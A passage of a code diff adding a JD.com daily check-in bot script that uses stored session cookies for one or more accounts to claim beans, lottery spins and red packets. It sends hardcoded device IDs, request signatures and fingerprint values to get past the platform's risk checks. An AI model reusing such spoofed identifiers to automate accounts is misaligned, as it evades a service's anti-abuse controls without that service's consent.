'https://cdn.jsdelivr.net/gh/NobyDa/mini@master/Color/jd.png' + }); + $nobyda.headUrl = null; + if ($nobyda.isJSBox) { + $nobyda.st = (typeof($nobyda.st) == 'undefined' ? '' : $nobyda.st) + Name + one + two + three + four + five + "\n" + } + } catch (eor) { + $nobyda.notify("通知模块 " + eor.name + "‼️", JSON.stringify(eor), eor.message) + } finally { + resolve() + } + }); +} + +(async function ReadCookie() { + const EnvInfo = $nobyda.isJSBox ? "JD_Cookie" : "CookieJD"; + const EnvInfo2 = $nobyda.isJSBox ? "JD_Cookie2" : "CookieJD2"; + const EnvInfo3 = $nobyda.isJSBox ? "JD_Cookies" : "CookiesJD"; + const move = CookieMove($nobyda.read(EnvInfo) || Key, $nobyda.read(EnvInfo2) || DualKey, EnvInfo, EnvInfo2, EnvInfo3); + const cookieSet = $nobyda.read(EnvInfo3); + if (DeleteCookie) { + const write = $nobyda.write("", EnvInfo3); + throw new Error(`Cookie清除${write?`成功`:`失败`}, 请手动关闭脚本内"DeleteCookie"选项`); + } else if ($nobyda.isRequest) { + GetCookie() + } else if (Key || DualKey || (OtherKey || cookieSet || '[]') != '[]') { + if (($nobyda.isJSBox || $nobyda.isNode) && stop !== '0') $nobyda.write(stop, "JD_DailyBonusDelay"); + out = parseInt($nobyda.read("JD_DailyBonusTimeOut")) || out; + stop = Wait($nobyda.read("JD_DailyBonusDelay"), true) || Wait(stop, true); + boxdis = $nobyda.read("JD_Crash_disable") === "false" || $nobyda.isNode || $nobyda.isJSBox ? false : boxdis; + LogDetails = $nobyda.read("JD_DailyBonusLog") === "true" || LogDetails; + ReDis = ReDis ? $nobyda.write("", "JD_DailyBonusDisables") : ""; + $nobyda.num = 0; + if (Key) await all(Key); + if (DualKey && DualKey !== Key) await all(DualKey); + if ((OtherKey || cookieSet || '[]') != '[]') { + try { + OtherKey = checkFormat([...JSON.parse(OtherKey || '[]'), ...JSON.parse(cookieSet || '[]')]); + const updateSet = OtherKey.length ? $nobyda.write(JSON.stringify(OtherKey, null, 2), EnvInfo3) : ''; + for (let i = 0; i < OtherKey.length; i++) { + const ck = OtherKey[i].cookie; + const jr = OtherKey[i].jrBody; + if (ck != Key && ck != DualKey) { + await all(ck, jr) + } + } + } catch (e) { + throw new Error(`账号Cookie读取失败, 请检查Json格式. \n${e.message}`) + } + } + $nobyda.time(); + } else { + throw new Error('脚本终止, 未获取Cookie ‼️') + } +})().catch(e => { + $nobyda.notify("京东签到", "", e.message || JSON.stringify(e)) +}).finally(() => { + if ($nobyda.isJSBox) $intents.finish($nobyda.st); + $nobyda.done(); +}) + +function JingDongBean(s) { + merge.JDBean = {}; + return new Promise(resolve => { + if (disable("JDBean")) return resolve() + setTimeout(() => { + const JDBUrl = { + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY + }, + body: 'functionId=signBeanIndex&appid=ld' + }; + $nobyda.post(JDBUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 3) { + console.log("\n" + "京东商城-京豆Cookie失效 " + Details) + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: Cookie失效‼️" + merge.JDBean.fail = 1 + } else if (data.match(/跳转至拼图/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 需要拼图验证 ⚠️" + merge.JDBean.fail = 1 + } else if (data.match(/\"status\":\"?1\"?/)) { + console.log("\n" + "京东商城-京豆签到成功 " + Details) + if (data.match(/dailyAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.dailyAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.dailyAward.beanAward.beanCount + } else if (data.match(/continuityAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.continuityAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.continuityAward.beanAward.beanCount + } else if (data.match(/新人签到/)) { + const quantity = data.match(/beanCount\":\"(\d+)\".+今天/) + merge.JDBean.bean = quantity ? quantity[1] : 0 + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + (quantity ? quantity[1] : "无") + "京豆 🐶" + } else { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: 无京豆 🐶" + } + merge.JDBean.success = 1 + } else { + merge.JDBean.fail = 1 + console.log("\n" + "京东商城-京豆签到失败 " + Details) + if (data.match(/(已签到|新人签到)/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/人数较多|S101/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 签到人数较多 ⚠️" + } else { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-京豆", "JDBean", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +// function JingDongTurn(s) { +// merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; +// return new Promise((resolve, reject) => { +// if (disable("JDTurn")) return reject() +// const JDTUrl = { +// url: 'https://api.m.jd.com/client.action?functionId=wheelSurfIndex&body=%7B%22actId%22%3A%22jgpqtzjhvaoym%22%2C%22appSource%22%3A%22jdhome%22%7D&appid=ld', +// headers: { +// Cookie: KEY, +// } +// }; +// $nobyda.get(JDTUrl, async function(error, response, data) { +// try { +// if (error) { +// throw new Error(error) +// } else { +// const cc = JSON.parse(data) +// const Details = LogDetails ? "response:\n" + data : ''; +// if (cc.data && cc.data.lotteryCode) { +// console.log("\n" + "京东商城-转盘查询成功 " + Details) +// return resolve(cc.data.lotteryCode) +// } else { +// merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 查询错误 ⚠️" +// merge.JDTurn.fail = 1 +// console.log("\n" + "京东商城-转盘查询失败 " + Details) +// } +// } +// } catch (eor) { +// $nobyda.AnError("京东转盘-查询", "JDTurn", eor, response, data) +// } finally { +// reject() +// } +// }) +// if (out) setTimeout(reject, out + s) +// }).then(data => { +// return JingDongTurnSign(s, data); +// }, () => {}); +// } + +function JingDongTurn(s) { + if (!merge.JDTurn) merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; + return new Promise(resolve => { + if (disable("JDTurn")) return resolve(); + setTimeout(() => { + const JDTUrl = { + url: `https://api.m.jd.com/client.action?functionId=babelGetLottery`, + headers: { + Cookie: KEY + }, + body: 'body=%7B%22enAwardK%22%3A%2295d235f2a09578c6613a1a029b26d12d%22%2C%22riskParam%22%3A%7B%7D%7D&client=wh5' + }; + $nobyda.post(JDTUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + const also = merge.JDTurn.notify ? true : false + if (cc.code == 3) { + console.log("\n" + "京东转盘Cookie失效 " + Details) + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: Cookie失效‼️" + merge.JDTurn.fail = 1 + } else if (data.match(/(\"T216\"|活动结束)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 活动结束 ⚠️" + merge.JDTurn.fail = 1 + } else if (data.match(/\d+京豆/)) { + console.log("\n" + "京东商城-转盘签到成功 " + Details) + merge.JDTurn.bean += (cc.prizeName && cc.prizeName.split(/(\d+)/)[1]) || 0 + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 明细: ${merge.JDTurn.bean||`无`}京豆 🐶` + merge.JDTurn.success += 1 + if (cc.chances > 0) { + await JingDongTurnSign(2000) + } + } else if (data.match(/未中奖|擦肩而过/)) { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 状态: 未中奖 🐶` + merge.JDTurn.success += 1 + if (cc.chances > 0) { + await JingDongTurnSign(2000) + } + } else { + console.log("\n" + "京东商城-转盘签到失败 " + Details) + merge.JDTurn.fail = 1 + if (data.match(/(机会已用完|次数为0)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 已转过 ⚠️" + } else if (data.match(/(T210|密码)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 无支付密码 ⚠️" + } else { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-转盘", "JDTurn", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongSteel(s, body) { + merge.JRSteel = {}; + return new Promise(resolve => { + if (disable("JRSteel")) return resolve(); + if (!body) { + merge.JRSteel.fail = 1; + merge.JRSteel.notify = "京东金融-钢镚: 失败, 未获取签到Body ⚠️"; + return resolve(); + } + setTimeout(() => { + const JRSUrl = { + url: 'https://ms.jr.jd.com/gw/generic/hy/h5/m/appSign', + headers: { + Cookie: KEY + }, + body: body || '' + }; + $nobyda.post(JRSUrl, function(error, response, data) { + try { + if (error) throw new Error(error) + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 0) { + console.log("\n" + "京东金融-钢镚签到成功 " + Details) + merge.JRSteel.notify = `京东金融-钢镚: 成功, 获得钢镚奖励 💰` + merge.JRSteel.success = 1 + } else { + console.log("\n" + "京东金融-钢镚签到失败 " + Details) + merge.JRSteel.fail = 1 + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 15) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/未实名/)) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 账号未实名 ⚠️" + } else if (cc.resultCode == 3) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: Cookie失效‼️" + } else { + const ng = (cc.resultData && cc.resultData.resBusiMsg) || cc.resultMsg + merge.JRSteel.notify = `京东金融-钢镚: 失败, ${`原因: ${ng||`未知`}`} ⚠️` + } + } + } catch (eor) { + $nobyda.AnError("京东金融-钢镚", "JRSteel", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongShake(s) { + if (!merge.JDShake) merge.JDShake = {}, merge.JDShake.success = 0, merge.JDShake.bean = 0, merge.JDShake.notify = ''; + return new Promise(resolve => { + if (disable("JDShake")) return resolve() + setTimeout(() => { + const JDSh = { + url: 'https://api.m.jd.com/client.action?appid=vip_h5&functionId=vvipclub_shaking', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDSh, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + const also = merge.JDShake.notify ? true : false + if (data.match(/prize/)) { + console.log("\n" + "京东商城-摇一摇签到成功 " + Details) + merge.JDShake.success += 1 + if (cc.data.prizeBean) { + merge.JDShake.bean += cc.data.prizeBean.count || 0 + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次`:`成功`}, 明细: ${merge.JDShake.bean || `无`}京豆 🐶` + } else if (cc.data.prizeCoupon) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次, `:``}获得满${cc.data.prizeCoupon.quota}减${cc.data.prizeCoupon.discount}优惠券→ ${cc.data.prizeCoupon.limitStr}` + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 未知 ⚠️${also?` (多次)`:``}` + } + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + console.log("\n" + "京东商城-摇一摇签到失败 " + Details) + if (data.match(/true/)) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 无奖励 🐶${also?` (多次)`:``}` + merge.JDShake.success += 1 + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + merge.JDShake.fail = 1 + if (data.match(/(无免费|8000005|9000005)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: 已摇过 ⚠️" + } else if (data.match(/(未登录|101)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: Cookie失效‼️" + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-摇摇", "JDShake", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDUserSignPre(s, key, title, ac) { + merge[key] = {}; + if ($nobyda.isJSBox) { + return JDUserSignPre2(s, key, title, ac); + } else { + return JDUserSignPre1(s, key, title, ac); + } +} + +function JDUserSignPre1(s, key, title, acData, ask) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: 'https://api.m.jd.com/?client=wh5&functionId=qryH5BabelFloors', + headers: { + Cookie: KEY + }, + opts: { + 'filter': 'try{var od=JSON.parse(body);var params=(od.floatLayerList||[]).filter(o=>o.params&&o.params.match(/enActK/)).map(o=>o.params).pop()||(od.floorList||[]).filter(o=>o.template=="signIn"&&o.signInfos&&o.signInfos.params&&o.signInfos.params.match(/enActK/)).map(o=>o.signInfos&&o.signInfos.params).pop();var tId=(od.floorList||[]).filter(o=>o.boardParams&&o.boardParams.turnTableId).map(o=>o.boardParams.turnTableId).pop();var page=od.paginationFlrs;return JSON.stringify({qxAct:params||null,qxTid:tId||null,qxPage:page||null})}catch(e){return `=> 过滤器发生错误: ${e.message}`}' + }, + body: `body=${encodeURIComponent(`{"activityId":"${acData}"${ask?`,"paginationParam":"2","paginationFlrs":"${ask}"`:``}}`)}` + }; + $nobyda.post(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const od = JSON.parse(data || '{}'); + const turnTableId = od.qxTid || (od.floorList || []).filter(o => o.boardParams && o.boardParams.turnTableId).map(o => o.boardParams.turnTableId).pop(); + const page = od.qxPage || od.paginationFlrs; + if (data.match(/enActK/)) { // 含有签到活动数据 + let params = od.qxAct || (od.floatLayerList || []).filter(o => o.params && o.params.match(/enActK/)).map(o => o.params).pop() + if (!params) { // 第一处找到签到所需数据 + // floatLayerList未找到签到所需数据,从floorList中查找 + let signInfo = (od.floorList || []).filter(o => o.template == 'signIn' && o.signInfos && o.signInfos.params && o.signInfos.params.match(/enActK/)) + .map(o => o.signInfos).pop(); + if (signInfo) { + if (signInfo.signStat == '1') { + console.log(`\n${title}重复签到`) + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + merge[key].fail = 1 + } else { + params = signInfo.params; + } + } else { + merge[key].notify = `${title}: 失败, 活动查找异常 ⚠️` + merge[key].fail = 1 + } + } + if (params) { + return resolve({ + params: params + }); // 执行签到处理 + } + } else if (turnTableId) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTableId)) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page && !ask) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(JSON.stringify(data))); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data, acData); + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data); + }, () => disable(key, title, 2)) +} + +function JDUserSignPre2(s, key, title, acData) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: `https://pro.m.jd.com/mall/active/${acData}/index.html`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const act = data.match(/\"params\":\"\{\\\"enActK.+?\\\"\}\"/) + const turnTable = data.match(/\"turnTableId\":\"(\d+)\"/) + const page = data.match(/\"paginationFlrs\":\"(\[\[.+?\]\])\"/) + if (act) { // 含有签到活动数据 + return resolve(act) + } else if (turnTable) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTable[1])) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page[1]) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(`{${data}}`)); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data, acData) + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data) + }, () => disable(key, title, 2)) +} + +function JDUserSign1(s, key, title, body) { + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://api.m.jd.com/client.action?functionId=userSign', + headers: { + Cookie: KEY + }, + body: `body=${body}&client=wh5` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/签到成功/)) { + console.log(`\n${title}签到成功(1)${Details}`) + if (data.match(/\"text\":\"\d+京豆\"/)) { + merge[key].bean = data.match(/\"text\":\"(\d+)京豆\"/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + console.log(`\n${title}签到失败(1)${Details}`) + if (data.match(/(已签到|已领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/\"code\":\"?3\"?/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + merge[key].fail = 1 + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +async function JDUserSign2(s, key, title, tid, acData) { + await new Promise(resolve => { + let lkt = new Date().getTime() + let lks = md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + $nobyda.get({ + url: `https://jdjoy.jd.com/api/turncard/channel/detail?turnTableId=${tid}&invokeKey=q8DNJdpcfRQ69gIx`, + headers: { + Cookie: KEY, + 'lkt': lkt, + 'lks': lks + } + }, async function(error, response, data) { + try { + if(data) { + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (!data.hasSign) { + let ss = await Faker.getBody(`https://prodev.m.jd.com/mall/active/${acData}/index.html`) + fp = ss.fp + await getEid(ss, title) + } + } + } + } catch(eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out + s) + }); + return new Promise(resolve => { + setTimeout(() => { + let lkt = new Date().getTime() + let lks = md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + const JDUrl = { + url: 'https://jdjoy.jd.com/api/turncard/channel/sign?invokeKey=q8DNJdpcfRQ69gIx', + headers: { + Cookie: KEY, + 'lkt': lkt, + 'lks': lks + }, + body: `turnTableId=${tid}&fp=${fp}&eid=${eid}` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/\"success\":true/)) { + console.log(`\n${title}签到成功(2)${Details}`) + if (data.match(/\"jdBeanQuantity\":\d+/)) { + merge[key].bean = data.match(/\"jdBeanQuantity\":(\d+)/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + const captcha = /请进行验证/.test(data); + if (data.match(/(已经签到|已经领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/(没有登录|B0001)/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else if (!captcha) { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + if (!captcha) merge[key].fail = 1; + console.log(`\n${title}签到失败(2)${captcha?`\n需要拼图验证, 跳过通知记录 ⚠️`:``}${Details}`) + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, 200 + s) + if (out) setTimeout(resolve, out + s + 200) + }); +} + +function JDFlashSale(s) { + merge.JDFSale = {}; + return new Promise(resolve => { + if (disable("JDFSale")) return resolve() + setTimeout(() => { + const JDPETUrl = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdSgin', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=6768e2cf625427615dd89649dd367d41&st=1597248593305&sv=121" + }; + $nobyda.post(JDPETUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result && cc.result.code == 0) { + console.log("\n" + "京东商城-闪购签到成功 " + Details) + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东商城-闪购: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + merge.JDFSale.success = 1 + } else { + console.log("\n" + "京东商城-闪购签到失败 " + Details) + if (data.match(/(已签到|已领取|\"2005\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/不存在|已结束|\"2008\"|\"3001\"/)) { + await FlashSaleDivide(s); //瓜分京豆 + return + } else if (data.match(/(\"code\":\"3\"|\"1003\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东商城-闪购: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + merge.JDFSale.fail = 1 + } + } + } catch (eor) { + $nobyda.AnError("京东商城-闪购", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function FlashSaleDivide(s) { + return new Promise(resolve => { + setTimeout(() => { + const Url = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdShare', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=49baa3b3899b02bbf06cdf41fe191986&st=1597682588351&sv=111" + }; + $nobyda.post(Url, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result.code == 0) { + merge.JDFSale.success = 1 + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东闪购-瓜分: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + console.log("\n" + "京东闪购-瓜分签到成功 " + Details) + } else { + merge.JDFSale.fail = 1 + console.log("\n" + "京东闪购-瓜分签到失败 " + Details) + if (data.match(/已参与|已领取|\"2006\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 已瓜分 ⚠️" + } else if (data.match(/不存在|已结束|未开始|\"2008\"|\"2012\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/\"code\":\"1003\"|未获取/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东闪购-瓜分: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东闪购-瓜分", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongCash(s) { + merge.JDCash = {}; + return new Promise(resolve => { + if (disable("JDCash")) return resolve() + setTimeout(() => { + const JDCAUrl = { + url: 'https://api.m.jd.com/client.action?functionId=ccSignInNew', + headers: { + Cookie: KEY + }, + body: "body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22eid%22%3A%22O5X6JYMZTXIEX4VBCBWEM5PTIZV6HXH7M3AI75EABM5GBZYVQKRGQJ5A2PPO5PSELSRMI72SYF4KTCB4NIU6AZQ3O6C3J7ZVEP3RVDFEBKVN2RER2GTQ%22%2C%22shshshfpb%22%3A%22v1%5C%2FzMYRjEWKgYe%2BUiNwEvaVlrHBQGVwqLx4CsS9PH1s0s0Vs9AWk%2B7vr9KSHh3BQd5NTukznDTZnd75xHzonHnw%3D%3D%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22monitorSource%22%3A%22cc_sign_ios_index_config%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&d_model=iPhone8%2C2&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&scope=11&screen=1242%2A2208&sign=1cce8f76d53fc6093b45a466e93044da&st=1581084035269&sv=102" + }; + $nobyda.post(JDCAUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.busiCode == "0") { + console.log("\n" + "京东现金-红包签到成功 " + Details) + merge.JDCash.success = 1 + merge.JDCash.Cash = cc.result.signResult.signData.amount || 0 + merge.JDCash.notify = `京东现金-红包: 成功, 明细: ${merge.JDCash.Cash || `无`}红包 🧧` + } else { + console.log("\n" + "京东现金-红包签到失败 " + Details) + merge.JDCash.fail = 1 + if (data.match(/(\"busiCode\":\"1002\"|完成签到)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"busiCode\":\"3\"|未登录)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.JDCash.notify = `京东现金-红包: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东现金-红包", "JDCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDMagicCube(s, sign) { + merge.JDCube = {}; + return new Promise((resolve, reject) => { + if (disable("JDCube")) return reject() + const JDUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionInfo&appid=smfe${sign?`&body=${encodeURIComponent(`{"sign":${sign}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async (error, response, data) => { + try { + if (error) throw new Error(error) + const Details = LogDetails ? "response:\n" + data : ''; + console.log(`\n京东魔方-尝试查询活动(${sign}) ${Details}`) + if (data.match(/\"interactionId\":\d+/)) { + resolve({ + id: data.match(/\"interactionId\":(\d+)/)[1], + sign: sign || null + }) + } else if (data.match(/配置异常/) && sign) { + await JDMagicCube(s, sign == 2 ? 1 : null) + reject() + } else { + resolve(null) + } + } catch (eor) { + $nobyda.AnError("京东魔方-查询", "JDCube", eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + return JDMagicCubeSign(s, data) + }, () => {}); +} + +function JDMagicCubeSign(s, id) { + return new Promise(resolve => { + setTimeout(() => { + const JDMCUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionLotteryInfo&appid=smfe${id?`&body=${encodeURIComponent(`{${id.sign?`"sign":${id.sign},`:``}"interactionId":${id.id}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDMCUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if 